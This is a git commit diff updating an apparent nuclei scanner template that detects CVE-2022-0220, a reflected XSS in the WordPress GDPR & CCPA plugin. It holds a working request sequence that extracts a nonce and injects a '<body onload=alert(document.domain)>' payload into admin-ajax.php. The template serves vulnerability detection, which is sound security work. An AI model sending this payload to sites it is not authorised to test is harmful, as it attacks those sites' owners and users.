Update CVE-2022-0220.yaml

patch-1
Ritik Chaddha 2022-07-25 22:11:56 +05:30 committed by GitHub
parent 87fc450c8a
commit 0a8ef85188
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 26 additions and 21 deletions

View File

@ -4,36 +4,41 @@ info:
name: WordPress GDPR & CCPA < 1.9.27 - Unauthenticated Reflected Cross-Site Scripting name: WordPress GDPR & CCPA < 1.9.27 - Unauthenticated Reflected Cross-Site Scripting
author: daffainfo author: daffainfo
severity: medium severity: medium
description: The check_privacy_settings AJAX action of the WordPress GDPR WordPress plugin before 1.9.27, available to both unauthenticated and authenticated users, responds with JSON data without an "application/json" content-type. Since an HTML payload isn't properly escaped, it may be interpreted by a web browser led to this endpoint. Javascript code may be executed on a victim's browser. Due to v1.9.26 adding a CSRF check, the XSS is only exploitable against unauthenticated users (as they all share the same nonce) description: |
reference: https://wpscan.com/vulnerability/a91a01b9-7e36-4280-bc50-f6cff3e66059 The check_privacy_settings AJAX action of the WordPress GDPR WordPress plugin before 1.9.27, available to both unauthenticated and authenticated users, responds with JSON data without an "application/json" content-type. Since an HTML payload isn't properly escaped, it may be interpreted by a web browser led to this endpoint. Javascript code may be executed on a victim's browser. Due to v1.9.26 adding a CSRF check, the XSS is only exploitable against unauthenticated users (as they all share the same nonce)
tags: cve,cve2022,wordpress,wp-plugin,xss reference:
- https://wpscan.com/vulnerability/a91a01b9-7e36-4280-bc50-f6cff3e66059
tags: cve,cve2022,wordpress,wp-plugin,wp,xss
requests: requests:
- raw: - raw:
- |
GET /wp-admin HTTP/1.1
Host: {{Hostname}}
- | - |
POST /wp-admin/admin-ajax.php HTTP/1.1 POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
action=check_privacy_settings&settings%5B40%5D=40&settings%5B41%5D=%3cbody%20onload%3dalert(1)%3e&nonce=XXXX action=check_privacy_settings&settings%5B40%5D=40&settings%5B41%5D=%3cbody%20onload%3dalert(document.domain)%3e&nonce={{nonce}}
matchers-condition: and redirects: true
max-redirects: 2
req-condition: true
matchers: matchers:
- type: status - type: dsl
status: dsl:
- 200 - "contains(all_headers_2, 'text/html')"
- "status_code_2 == 200"
- "contains(body_2, '<body onload=alert(document.domain)>')"
condition: and
- type: word extractors:
part: header - type: regex
words: name: nonce
- "text/html"
- type: word
part: body part: body
words: group: 1
- "<body onload=alert(1)>" regex:
- 'nonce":"([0-9a-z]+)'
internal: true